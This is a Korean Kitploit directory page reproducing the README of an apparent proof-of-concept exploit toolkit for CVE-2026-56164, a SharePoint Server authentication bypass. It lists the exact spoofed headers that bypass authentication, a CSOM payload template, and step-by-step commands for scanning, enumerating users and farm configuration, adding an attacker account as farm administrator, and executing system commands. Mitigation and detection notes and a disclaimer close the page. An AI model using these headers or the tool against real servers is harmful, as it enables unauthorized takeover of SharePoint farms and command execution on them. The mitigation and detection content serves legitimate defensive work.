Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC-CVE-2026-56164-exploit — CVE-2026-56164는 온프레미스 Microsoft SharePoint Server에 영향을 미치는 치명적인 인증 누락 취약점입니다. 인증되지 않은 원격 공격자가 네트워크를 통해 권한을 상승시킬 수 있습니다. | Kitploit
도구/GitHubGitHub/sam00/poc-cve-2026-56164-exploit
Authentication & AuthorizationPrivilege EscalationVulnerability ScannersPayload GenerationExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubsam00/poc-cve-2026-56164-exploit

POC-CVE-2026-56164-exploit

CVE-2026-56164는 온프레미스 Microsoft SharePoint Server에 영향을 미치는 치명적인 인증 누락 취약점입니다. 인증되지 않은 원격 공격자가 네트워크를 통해 권한을 상승시킬 수 있습니다.

251개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2026-56164 — Microsoft SharePoint Server 인증 우회 익스플로잇

Critical (CVSS 9.8) — Microsoft SharePoint Server에서 Farm Administrator로의 비인증 권한 상승

목차

  • 개요
  • 취약점 세부 정보
  • 영향을 받는 버전
  • 아키텍처 다이어그램
  • 프로젝트 구조
  • 설치
  • 스캐너 사용법 — 단계별 안내
  • 익스플로잇 사용법 — 단계별 안내
  • 페이로드 설계
  • 완화 조치
  • 면책 조항

개요

CVE-2026-56164는 Microsoft SharePoint Server에서 발생하는 치명적인 인증 누락 취약점으로, 인증되지 않은 원격 공격자가 Farm Administrator 수준으로 권한을 상승시킬 수 있습니다. 이 취약점은 /_vti_bin/client.svc/ProcessQuery에서 SOAP 요청을 처리하는 Microsoft.Office.Server.UserProfiles 어셈블리에 존재합니다.

X-RequestDigest 헤더를 의도적으로 생략하고 특정 라우팅 헤더를 함께 전송하면, 취약한 서버는 인증되지 않은 요청을 거부하는 대신 상승된 보안 컨텍스트로 대체됩니다. 이를 통해 익명 공격자는 사이트 모음, 사용자, 팜 구성을 열거하고, 관리자를 추가하며, 명령을 실행할 수 있습니다.

CISA KEV: 이 취약점은 실제 환경에서 활발하게 악용되고 있어 CISA의 Known Exploited Vulnerabilities Catalog(KEV)에 등재되었습니다.


취약점 세부 정보

근본 원인

Microsoft.Office.Server.UserProfiles 처리기는 /_vti_bin/client.svc/ProcessQuery에서 SOAP 요청을 처리합니다. 정상적인 운영 시 SharePoint는 X-RequestDigest 헤더를 검증하여 인증 컨텍스트를 확인합니다. 그러나 다음과 같은 검증 우회가 존재합니다:

  1. X-RequestDigest가 없고 특정 라우팅 헤더가 존재하는 경우
  2. 시스템은 라우팅 매개변수를 평가하여 고권한 기본 상태로 대체됩니다
  3. 요청은 호출자의 보안 컨텍스트 대신 시스템 수준 자격 증명으로 처리됩니다

취약한 코드 경로

root@kitploit:~
// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
    // Bypasses standard identity validation → elevated admin session
    InitializeElevatedSecurityContext(context);
} else {
    ValidateRequestDigest(digest);  // Normal path
}

패치된 코드

root@kitploit:~
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
    context.Response.StatusCode = 401;
    throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);

참고 자료

  • MSRC: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-56164
  • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-56164

영향을 받는 버전

제품영향을 받는 버전패치된 버전
SharePoint Enterprise Server 2016패치 이전의 모든 16.0.x16.0.5561.1001
SharePoint Server 2019패치 이전의 모든 16.0.x16.0.10417.20175
SharePoint Server Subscription Edition패치 이전의 모든 16.0.x

영향을 받지 않음: SharePoint Online (Microsoft 365)


아키텍처 다이어그램

시스템 아키텍처

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                   CVE-2026-56164 Exploit Toolkit                     │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌────────────┐     ┌─────────────────┐     ┌────────────────────┐  │
│  │  scan.py   │────▶│  HTTP Fingerprint│     │  payload_gen.py    │  │
│  │  Scanner   │     │  + Version Check │     │                    │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │  │ CSOM Payloads│  │  │
│         │  Reports:                         │  │ (detection,  │  │  │
│         │  • SharePoint detected?           │  │  enum,       │  │  │
│         │  • Server version                 │  │  elevate,    │  │  │
│         │  • Vulnerable?                    │  │  execute)    │  │  │
│         │  • Auth bypass confirmed?         │  └──────────────┘  │  │
│         ▼                                   │  ┌──────────────┐  │  │
│  ┌────────────┐     ┌─────────────────┐     │  │ SOAP Payloads│  │  │
│  │ exploit.py │────▶│  HTTP Request   │     │  │ (admin, exec)│  │  │
│  │  Exploit   │     │  Delivery       │     │  └──────────────┘  │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │  │ Bypass       │  │  │
│         │  ┌──────────────────────┐         │  │ Headers      │  │  │
│         ├─▶│ MODE: detect         │         │  │ (routing)    │  │  │
│         │  │ Safe, non-intrusive  │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         │  ┌──────────────┐  │  │
│         │  ┌──────────────────────┐         │  │ HTTP Request │  │  │
│         ├─▶│ MODE: enumerate      │         │  │ Builder      │  │  │
│         │  │ Sites, users, config │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         └────────────────────┘  │
│         │  ┌──────────────────────┐                                 │
│         ├─▶│ MODE: elevate        │     ┌──────────────────────┐    │
│         │  │ Add site/farm admin  │     │ Target SharePoint    │    │
│         │  └──────────────────────┘     │ /_vti_bin/client.svc │    │
│         │  ┌──────────────────────┐     │ /_vti_bin/SPAdmin    │    │
│         └─▶│ MODE: execute        │     └──────────────────────┘    │
│            │ System commands      │                                 │
│            └──────────────────────┘                                 │
│         │  ┌──────────────────────┐                                 │
│         └─▶│ MODE: full           │  detect→enum→elevate→execute    │
│            └──────────────────────┘                                 │
└─────────────────────────────────────────────────────────────────────┘

스캐너 흐름

root@kitploit:~
┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip       │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443)           │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ SharePoint       │──────────▶│ Not SP      │
│ fingerprint?     │            └─────────────┘
│ (MSST header,    │
│  _vti_bin,       │
│  suitebar, etc.) │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract version  │
│ from MSST header │
│ / response body  │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o    │
│  digest + bypass │
│  headers)        │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Bypass status  │
│ • SSL cert info  │
└──────────────────┘

익스플로잇 흐름 (전체 체인)

root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  FULL EXPLOIT CHAIN                                              │
│                                                                  │
│  1. Detect — Authentication Bypass                               │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/client.svc/ProcessQuery                  │   │
│  │  [NO X-RequestDigest]                                    │   │
│  │  X-SharePoint-Authenticated: 1                           │   │
│  │  X-SP-RequestRights: FullControl                         │   │
│  │  SPHomeBearerHint: farmadmin                             │   │
│  │  Body: CSOM detection payload                            │   │
│  │                                                          │   │
│  │  → If 200: AUTH BYPASS CONFIRMED                         │   │
│  │  → If 401: Not vulnerable                                │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  2. Enumerate            ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  Enumerate site collections (URL, owner, status)         │   │
│  │  Enumerate users (account, display name, email, admin)   │   │
│  │  Retrieve farm config (DB name, server, farm ID)         │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  3. Elevate             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  SetIsSiteAdmin(true) → Current context = Site Admin     │   │
│  │  AddUserToWeb → Add specific user as Farm Administrator  │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  4. Execute             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/SharePointAdmin.asmx                     │   │
│  │  Body: ExecuteCommand SOAP payload                       │   │
│  │  → System command executed with farm-level privileges    │   │
│  └──────────────────────────────────────────────────────────┘   │
└──────────────────────────────────────────────────────────────────┘

프로젝트 구조

root@kitploit:~
POC-CVE-2026-56164-exploit/
├── payload_gen.py      # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py             # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py          # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt    # Python dependencies
└── README.md           # This file

설치

root@kitploit:~
# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit

# Install dependencies
pip3 install -r requirements.txt

요구 사항: Python 3.8+, requests 라이브러리 (선택 사항 — 기본적으로 표준 라이브러리 urllib 사용).


스캐너 사용법 — 단계별 안내

스캐너는 취약한 SharePoint Server 대상을 식별하기 위해 안전하고 비침습적인 검사를 수행합니다.

1단계: 단일 대상 스캔

root@kitploit:~
python3 scan.py --target sharepoint.example.com

스캐너는 다음을 수행합니다:

  • 일반적인 포트(443, 80, 8080, 8443)를 탐색합니다
  • HTTP 요청을 전송하고 SharePoint 핑거프린트(헤더, 본문 내용)를 확인합니다
  • MicrosoftSharePointTeamServices 헤더에서 SharePoint 버전을 추출합니다
  • 버전이 취약한 범위에 속하는지 확인합니다
  • 인증 우회를 테스트합니다 (선택 사항)
  • 색상으로 구분된 보고서를 출력합니다

2단계: 특정 포트로 스캔

root@kitploit:~
python3 scan.py --target sharepoint.example.com --port 443

3단계: 파일에서 여러 대상 스캔

targets.txt 파일을 생성합니다:

root@kitploit:~
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
root@kitploit:~
python3 scan.py --targets targets.txt

4단계: 우회 테스트 건너뛰기 (핑거프린트만)

root@kitploit:~
python3 scan.py --target sharepoint.example.com --no-bypass-test

5단계: 결과를 JSON으로 저장

root@kitploit:~
python3 scan.py --target sharepoint.example.com --json scan_results.json

스캐너가 탐지하는 항목


익스플로잇 사용법 — 단계별 안내

익스플로잇은 강도가 증가하는 5가지 모드를 지원합니다.

모드 1: 감지 (안전, 비침습적)

정상 요청(다이제스트 포함)과 우회 요청(다이제스트 없음 + 라우팅 헤더)을 비교하여 인증 우회를 테스트합니다.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode detect

모드 2: 열거 (정보 공개)

인증 우회를 사용하여 사이트 모음, 사용자, 팜 구성을 추출합니다.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode enumerate

모드 3: 승격 (권한 상승)

현재 익명 컨텍스트 또는 특정 사용자를 사이트 모음 관리자 / 팜 관리자로 승격합니다.

root@kitploit:~
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate

# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"

모드 4: 실행 (명령 실행)

SharePoint 관리 SOAP 서비스를 통해 시스템 명령을 실행합니다.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"

모드 5: 전체 체인 (감지 → 열거 → 승격 → 실행)

전체 익스플로잇 체인을 순서대로 실행합니다.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"

공통 옵션

  • --port / -p: 대상 포트 (기본값: 443)
  • --http: HTTPS 대신 HTTP 사용
  • --site-url / -s: SharePoint 사이트 URL (기본값: 대상)
  • --json / -j: 보고서를 JSON으로 저장
  • --timeout: 요청 제한 시간(초) (기본값: 30)

페이로드 설계

인증 우회 메커니즘

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  HTTP Request to /_vti_bin/client.svc/ProcessQuery             │
├─────────────────────────────────────────────────────────────────┤
│  POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1              │
│  Host: sharepoint.example.com                                  │
│  Content-Type: text/xml; charset=utf-8                         │
│  [X-RequestDigest: OMITTED]                                    │
│  X-SharePoint-Authenticated: 1                                 │
│  X-SP-RequestRights: FullControl                               │
│  X-SP-RequestRights2: ManageLists, ManageWeb                   │
│  SPHomeBearerHint: farmadmin                                   │
│  X-RequestForceAuthentication: false                           │
│  X-SP-Proxy: internal                                          │
│  X-Forwarded-For: 127.0.0.1                                    │
│  X-Original-URL: /_vti_bin/client.svc/ProcessQuery             │
│                                                                 │
│  [CSOM/SOAP Payload Body]                                      │
└─────────────────────────────────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────────────────────────┐
│  Vulnerable SharePoint Server                                   │
│                                                                 │
│  1. digest = Headers["X-RequestDigest"]  → NULL                │
│  2. CheckSpecialRoutingHeaders(context)  → TRUE (≥3 headers)   │
│  3. InitializeElevatedSecurityContext()  → FARM ADMIN          │
│  4. Process SOAP request with system-level credentials          │
└─────────────────────────────────────────────────────────────────┘

CSOM 페이로드 구조

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
         ApplicationName="SharePointExploit"
         LibraryVersion="16.0.0"
         RequestId="{UUID}">
  <Actions>
    [Detection / Enumeration / Elevation actions]
  </Actions>
  <Context>
    <ContextId>Current</ContextId>
    <Version>16.0.0</Version>
    <SiteUrl>{TARGET}</SiteUrl>
  </Context>
</Request>

우회 라우팅 헤더


완화 조치

즉시 조치

  1. Microsoft 보안 업데이트 적용 — 2026년 7월 SharePoint 패치 설치
  2. 액세스 제한 — SharePoint 엔드포인트를 신뢰할 수 있는 네트워크로만 제한
  3. 역방향 프록시/WAF 규칙을 통해 /_vti_bin/ 엔드포인트에 대한 외부 액세스 차단
  4. /_vti_bin/client.svc/ProcessQuery에 대한 인증되지 않은 요청의 로그 모니터링

패치된 버전

  • SharePoint Enterprise Server 2016: 16.0.5561.1001+
  • SharePoint Server 2019: 16.0.10417.20175+
  • SharePoint Server Subscription Edition: 16.0.19725.20434+

탐지

  • X-RequestDigest 헤더가 없는 /_vti_bin/client.svc/ProcessQuery에 대한 POST 요청 확인
  • 여러 우회 라우팅 헤더(X-SharePoint-Authenticated, SPHomeBearerHint 등)가 포함된 요청 확인
  • 예상치 못한 사이트 모음 관리자 추가 모니터링
  • 인증되지 않은 출처에서 /_vti_bin/SharePointAdmin.asmx로 전송되는 SOAP 요청에 대한 경고

면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적인 서면 테스트 허가를 받은 시스템에만 사용하십시오. 운영 중인 시스템에 대한 무단 사용은 불법이며 컴퓨터 사기 및 남용 관련 법률을 위반할 수 있습니다.

저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다. 항상 책임 있는 공개(responsible disclosure) 관행을 따르고 적용 가능한 법률과 규정을 준수하십시오.

도구 다운로드
필드값
CVE IDCVE-2026-56164
심각도CRITICAL
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-306: 중요 기능에 대한 인증 누락
영향Farm Administrator로의 비인증 권한 상승
악용 상태활발한 악용 (CISA KEV)
MITRE ATT&CKT1190 (공개 웹 애플리케이션 악용)
16.0.19725.20434
탐지 항목방법
SharePoint ServerHTTP 헤더 핑거프린팅 (MicrosoftSharePointTeamServices, SPRequestGuid)
서버 버전헤더 파싱 + 응답 본문 정규식
취약한 버전CVE-2026-56164 패치 버전과 비교
인증 우회X-RequestDigest가 없는 CSOM 요청 + 우회 라우팅 헤더
SSL 인증서대상 식별을 위한 인증서 주체(subject)/발급자(issuer)
헤더값용도
X-SharePoint-Authenticated1인증이 이미 통과되었음을 주장
X-SP-RequestRightsFullControl전체 제어 권한 요청
X-SP-RequestRights2ManageLists, ManageWeb추가 관리 권한
SPHomeBearerHintfarmadmin팜 관리자 컨텍스트 힌트
X-RequestForceAuthenticationfalse강제 인증 비활성화
X-SP-Proxyinternal내부 프록시 출처 주장
X-Forwarded-For127.0.0.1로컬 출처 스푸핑
X-Original-URL/_vti_bin/client.svc/ProcessQuery라우팅 지시문